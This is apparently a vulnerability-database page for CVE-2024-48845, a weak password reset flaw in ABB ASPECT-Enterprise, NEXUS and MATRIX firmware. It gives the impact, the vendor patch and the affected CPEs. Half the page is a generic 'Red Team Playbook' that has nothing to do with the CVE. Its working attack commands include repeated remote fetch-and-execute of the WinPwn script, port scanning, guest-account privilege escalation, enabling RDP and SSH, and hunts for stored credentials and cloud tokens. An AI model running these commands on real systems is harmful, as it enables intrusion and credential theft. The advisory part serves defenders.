CVE-2024-48845
Overview
This vulnerability is a weakness in password reset enforcement within ABB ASPECT-Enterprise and related firmware versions. The root cause lies in insufficient password complexity and reset rules, allowing storage of weak passwords. The affected components include the password management mechanisms in ABB ASPECT-Enterprise v3.07.02, NEXUS Series v3.07.02, and MATRIX Series v3.07.02 firmware.
Vulnerability Description
Weak Password Reset Rules vulnerabilities where found providing a potiential for the storage of weak passwords that could facilitate unauthorized admin/application access. Affected products: ABB ASPECT - Enterprise v3.07.02; NEXUS Series v3.07.02; MATRIX Series v3.07.02
Impact
An attacker with network access can exploit weak password reset rules to establish or maintain unauthorized administrative or application-level access without authentication or user interaction. This facilitates unauthorized control over affected ABB ASPECT-Enterprise systems, potentially leading to full compromise of confidentiality and integrity, and partial availability impact. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the exploitability without credentials or user action, increasing the risk of unauthorized access and lateral movement within industrial control environments.
Solution
ABB recommends applying the security update detailed in their advisory document 9AKK108469A7497, which addresses password reset enforcement in ABB ASPECT-Enterprise and related firmware versions 3.07.02. This update enforces stronger password policies during reset operations. Administrators should download and deploy the patch as per ABB’s official instructions available at https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497 to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (19)
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Abb | Aspect-Ent-2 Firmware | All |
cpe:2.3:o:abb:aspect-ent-2_firmware:*:*:*:*:*:*:*:*
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Abb | Aspect-Ent-256 Firmware | All |
cpe:2.3:o:abb:aspect-ent-256_firmware:*:*:*:*:*:*:*:*
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Abb | Aspect-Ent-96 Firmware | All |
cpe:2.3:o:abb:aspect-ent-96_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-2128 Firmware | All |
cpe:2.3:o:abb:nexus-2128_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-2128-A Firmware | All |
cpe:2.3:o:abb:nexus-2128-a_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-2128-F Firmware | All |
cpe:2.3:o:abb:nexus-2128-f_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-2128-G Firmware | All |
cpe:2.3:o:abb:nexus-2128-g_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-264 Firmware | All |
cpe:2.3:o:abb:nexus-264_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-264-A Firmware | All |
cpe:2.3:o:abb:nexus-264-a_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-264-G Firmware | All |
cpe:2.3:o:abb:nexus-264-g_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-3-2128 Firmware | All |
cpe:2.3:o:abb:nexus-3-2128_firmware:*:*:*:*:*:*:*:*
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Abb | Aspect-Ent-12 Firmware | All |
cpe:2.3:o:abb:aspect-ent-12_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-264-F Firmware | All |
cpe:2.3:o:abb:nexus-264-f_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-3-264 Firmware | All |
cpe:2.3:o:abb:nexus-3-264_firmware:*:*:*:*:*:*:*:*
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Abb | Matrix-11 Firmware | All |
cpe:2.3:o:abb:matrix-11_firmware:*:*:*:*:*:*:*:*
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Abb | Matrix-216 Firmware | All |
cpe:2.3:o:abb:matrix-216_firmware:*:*:*:*:*:*:*:*
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Abb | Matrix-232 Firmware | All |
cpe:2.3:o:abb:matrix-232_firmware:*:*:*:*:*:*:*:*
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Abb | Matrix-264 Firmware | All |
cpe:2.3:o:abb:matrix-264_firmware:*:*:*:*:*:*:*:*
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Abb | Matrix-296 Firmware | All |
cpe:2.3:o:abb:matrix-296_firmware:*:*:*:*:*:*:*:*
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Disclaimer
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ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
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| ABB Cylon Aspect 3.07.02 (userManagement.php) - Weak Password Policy | LiquidWorm | hardware | multiple | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
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Kill chain derived from the ML classifier.
Attack Vectors ML
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CAPEC Attack Patterns ML
Red Team Playbook
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
net user #{guest_user} /active:yes
sudo sysadminctl -guestAccount on
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
$extList = #{extension_id}
foreach ($extension in $extList) {
New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force}
Start chrome
Start-Sleep -Seconds 30
Stop-Process -Name "chrome"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
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References (2)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-48845 |
| search.abb.com |
GitHub CVE
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https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497&LanguageCode=en&DocumentPartId=&Action=Launch |